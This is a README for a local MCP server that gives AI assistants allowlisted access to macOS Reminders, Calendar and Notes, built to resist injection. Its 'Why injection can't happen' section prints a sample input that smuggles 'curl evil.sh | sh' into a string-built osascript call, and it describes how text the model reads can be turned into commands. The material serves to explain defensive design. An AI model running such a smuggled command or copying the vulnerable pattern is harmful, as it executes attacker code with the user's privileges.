Mac Organiser Mcp

Why

Most Apple MCP servers paste whatever the model sends straight into an AppleScript or a shell command. That means any text the model reads, such as a web page, an email or a shared Reminders list someone else can edit, can become a command running as you. They also tend to hand the model everything: every reminder, every note, every calendar.

This one takes the opposite approach on both counts:

• 🔒 Nothing the model sends can ever run as code. Each app has one fixed script, and your data travels to it only as a value.
• 🫥 Your assistant sees only what you allow. Lists, calendars and folders outside your allowlist are filtered inside the app itself, so they never reach the server, let alone the model.
• ✉️ Nothing outward-facing. It can't invite anyone, notify anyone or load anything from the internet.

[!IMPORTANT] Anything a tool returns is sent to your model provider as part of the conversation. Allowlists are your main control over what that can include, so keep them tight.

What your assistant can do

Each app is off until you enable it. Writes can be switched off per app, and deletes are always opt-in.

Dates are ISO 8601: 2026-10-29, 2026-10-29T14:00 (your local time) or 2026-10-29T14:00+11:00.

Private by default

Never returned, whatever you set: event attendees, reminder creation and modification dates, the Recently Deleted notes folder, and the contents of locked notes.

Quick start

Requirements

Install

Nothing to install: your MCP client runs it from npm with npx -y mac-organiser-mcp, as in the configs below.

git clone https://github.com/nicksull/mac-organiser-mcp ~/repos/mac-organiser-mcpcd ~/repos/mac-organiser-mcpnpm cinpm run build

Works with

It's a standard Model Context Protocol server that runs locally over stdio, so it isn't tied to any one assistant. Every client needs the same three things: the command npx, the arguments -y mac-organiser-mcp, and your settings as environment variables.

[!WARNING] You can put a local MCP server behind a public HTTPS tunnel so ChatGPT can reach it, but don't do that with this one. It would put your Reminders, Calendar and Notes on an internet-facing endpoint, which defeats the point of the design.

claude mcp add -s user mac-organiser \  -e MAC_ORGANISER_APPS=reminders,calendar,notes \  -e REMINDERS_LISTS="Reminders,Groceries" \  -e CALENDAR_CALENDARS="Work,Home" \  -e NOTES_FOLDERS="AI" \  -- npx -y mac-organiser-mcp

{  "mcpServers": {    "mac-organiser": {      "command": "npx",      "args": ["-y", "mac-organiser-mcp"],      "env": {        "MAC_ORGANISER_APPS": "reminders,calendar,notes",        "REMINDERS_LISTS": "Reminders,Groceries",        "CALENDAR_CALENDARS": "Work,Home",        "NOTES_FOLDERS": "AI"      }    }  }}

{  "servers": {    "mac-organiser": {      "type": "stdio",      "command": "npx",      "args": ["-y", "mac-organiser-mcp"],      "env": {        "MAC_ORGANISER_APPS": "reminders,calendar,notes",        "REMINDERS_LISTS": "Reminders,Groceries",        "CALENDAR_CALENDARS": "Work,Home",        "NOTES_FOLDERS": "AI"      }    }  }}

[mcp_servers.mac-organiser]command = "npx"args = ["-y", "mac-organiser-mcp"]
[mcp_servers.mac-organiser.env]MAC_ORGANISER_APPS = "reminders,calendar,notes"REMINDERS_LISTS = "Reminders,Groceries"CALENDAR_CALENDARS = "Work,Home"NOTES_FOLDERS = "AI"

Config formats change between client versions; if one doesn't match, check that client's MCP docs.

[!TIP] A dedicated Notes folder (say, AI) makes a great allowlist: a scratchpad your assistant can read and write, while the rest of your notes stay out of reach.

Permissions

macOS asks once per app the first time it's used. Click Allow.

[!NOTE] These permissions belong to the host app (Terminal, Cursor, VS Code, Claude Desktop…), not to this server. Anything else running inside that app gets the same access. The first Calendar call waits up to 40 seconds for you to answer the prompt.

Configuration

Everything is an environment variable. Flags take 1, true or yes.

If an app is enabled without its required allowlist, it stays off and the server says why on stderr.

How it works

flowchart LR    client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod
    subgraph server["Mac Organiser MCP · Node"]        zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]        exec["execFile osascript<br/>no shell"]        zod --> exec    end
    subgraph mac["Inside the Apple app"]        script["Fixed JXA script<br/>request arrives as one JSON value"]        filter{"In your<br/>allowlist?"}        data[("Reminders · Calendar · Notes")]        script --> filter        filter -->|yes| data        filter -.->|no: 'not found'| script    end
    exec -->|argv| script    data -->|only allowed fields| exec    exec -->|result| client

Why injection can't happen

The usual pattern builds a script out of the model's text, so a stray ' or " turns data into code:

// ❌ What many Apple MCP servers doexec(`osascript -e 'set name of r to "${name}"'`);//   name = `x'; curl evil.sh | sh; #`  →  runs curl

Here the script text never changes. The request is handed over as a separate argument, without a shell, and only ever read as data:

// ✅ Mac Organiser MCPexecFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);

// Inside SCRIPTfunction run(argv) { return handle(JSON.parse(argv[0])); }

The live test suite sends exactly those payloads, among others, and checks that they're stored as plain text.

Engines

Ground rules

Every change is held to these.

1. No code is ever built from input. Scripts are fixed text; requests travel only as data.
2. Filter at the source. Allowlists and field limits are enforced inside the Apple app, so hidden data never reaches Node, logs or the model.
3. Outside the allowlist means "not found". For reads and writes alike, with no hint that something exists.
4. Nothing outward-facing. No attendees, no invitations, no update emails, no network calls. Events with attendees are read-only here.
5. Never destroy what you can't restore. Deletes are opt-in. Notes are never overwritten or deleted, and recurring events are only ever changed one occurrence at a time.
6. Text stays text. Notes content is HTML-escaped, so the model can't add links, markup or tracking images.
7. Validate everything. IDs, dates, priorities and lengths are checked before anything runs, as a second line of defence.
8. Pinned dependencies. Exact versions with a lockfile, two runtime dependencies, no install scripts.

Limits

• Notes: no edit or delete. Notes can only be scripted by replacing a note's whole body, which can lose attachments, checklists and tables. For the same reason, append_to_note refuses notes that contain attachments, lists, tables or images.
• Calendar: no recurrence rules on new events, and events with attendees can't be changed or deleted here. Use Calendar.app for those.
• Reminders: no subtasks, tags, flags or locations; the scripting interface doesn't expose them.
• Duplicate names: if two calendars share a name, use the calendar id from list_calendars. Two Notes folders with the same name need renaming.
• macOS only, and the Mac has to be awake: everything runs locally.

Development

Live tests

npm run build && npm run test:live

The suite creates an MCP Test reminders list, calendar and notes folder, locks every allowlist to them and runs all 16 tools through a real MCP client: 43 checks, including injection payloads, allowlist escapes, recurring-event occurrences and due-date clearing. It deletes the fixtures when it's done, and it won't start if anything called MCP Test already exists. None of your other data is read.

Layout

src/  index.ts        Registers each enabled app  config.ts       Environment variables and their defaults  osascript.ts    Runs a fixed JXA script with one JSON argument; shared helpers  reminders.ts    Reminders tools and script  calendar.ts     Calendar tools and EventKit script  notes.ts        Notes tools and scripttest/  live.mjs        End-to-end suite over MCP  fixtures.js     Creates and removes the MCP Test fixtures

Licence

MIT © 2026 Nick Sullivan